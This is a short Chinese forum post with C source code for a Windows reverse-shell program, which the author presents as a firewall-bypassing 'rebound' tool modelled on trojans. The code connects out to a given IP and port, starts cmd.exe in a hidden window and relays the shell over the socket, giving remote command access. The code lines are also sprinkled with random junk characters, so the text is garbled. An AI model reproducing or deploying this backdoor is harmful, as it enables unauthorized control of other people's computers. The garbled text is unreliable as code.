这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 "% SX@
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/* ============================== C/bxfp{?
Rebound port in Windows NT "~_$T@^k>
By wind,2006/7 pL8H8kn
===============================*/ ~Po\ En
#include "cNg:
#include WejyYqr34-
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#pragma comment(lib,"wsock32.lib") >n1h^AW
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void OutputShell(); #jOOsfH|k
SOCKET sClient; dV)Y,Yx0${
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; X=JFWzC
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void main(int argc,char **argv) k&yQ98H$K"
{ UmYD]
WSADATA stWsaData; 1E8$% 6VV
int nRet; /9P^{OZ;y
SOCKADDR_IN stSaiClient,stSaiServer; A0S8Dh$
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if(argc != 3) AjG)1
{ 7,f:Qi@g
printf("Useage:\n\rRebound DestIP DestPort\n"); h,]tQ#!s8
return; z/)$D
} ]F
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WSAStartup(MAKEWORD(2,2),&stWsaData); -!@H["
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); cW=Qh-`jU;
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stSaiClient.sin_family = AF_INET; h>~jQ&\M
stSaiClient.sin_port = htons(0); :2 _0L
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); =n)JJS94
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) oN_S}o
{ #,t2*tM
printf("Bind Socket Failed!\n"); ?Y%}(3y
return; @ <|6{N<
} sf
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stSaiServer.sin_family = AF_INET; @8QFP3\1
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); R_t~UTfI;
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); &Q2NU$
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) pi|\0lH6W
{ t#a.}Jl
printf("Connect Error!"); cZ6?P`X
return; b*cW<vX}~
} :b.3CL\.6
OutputShell(); dv}8YH["
} TViBCed40
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void OutputShell() kZJt~}
{ 43+EX.c
char szBuff[1024]; f#*h^91x
SECURITY_ATTRIBUTES stSecurityAttributes; ,NjX&A@
OSVERSIONINFO stOsversionInfo; 2j2mW>Z
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Y,3z-Pa=@
STARTUPINFO stStartupInfo; (irk$d %
char *szShell; Dq{:R
PROCESS_INFORMATION stProcessInformation; W^^K0yn`@
unsigned long lBytesRead; =s`XZkh
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); O5g}2
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 0PYvey }[
stSecurityAttributes.lpSecurityDescriptor = 0; G%xb0%oi]%
stSecurityAttributes.bInheritHandle = TRUE; p^T&jE8])#
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); C/SapX
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); sGXp}{E9
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); F~tm`n8Z
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @~JB\j9
stStartupInfo.wShowWindow = SW_HIDE; P]|J?$1K
stStartupInfo.hStdInput = hReadPipe; R1II k
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; VI(RT-S6
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GetVersionEx(&stOsversionInfo); hfJrQhmE
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switch(stOsversionInfo.dwPlatformId) `Af{H/qiI
{ elN{7:
case 1: <FCj)CP%
szShell = "command.com"; suA+8}o]
break; kA?X^nj@
default: Ll008.#
szShell = "cmd.exe"; I8%d;G~
break; !Sh^LYqn
} h`z2!F4
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ck(CA(_
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send(sClient,szMsg,77,0); i58ZV`Rk`
while(1) 5W*7qD[m
{ *54>iO-
c
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ^</65+OT+
if(lBytesRead) r~ZS1Tp
{ mle_*Gy8
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); *LY~l
send(sClient,szBuff,lBytesRead,0); L!CX&
} uPa/,"p
else F?*Dr
{ 43vGgGW
lBytesRead=recv(sClient,szBuff,1024,0); v_y!Oh?EG
if(lBytesRead<=0) break; {Q{lb(6Ba
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); z7OZ4R:
} *ge].E
} jA20c(O
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return; lcu( "^{3
}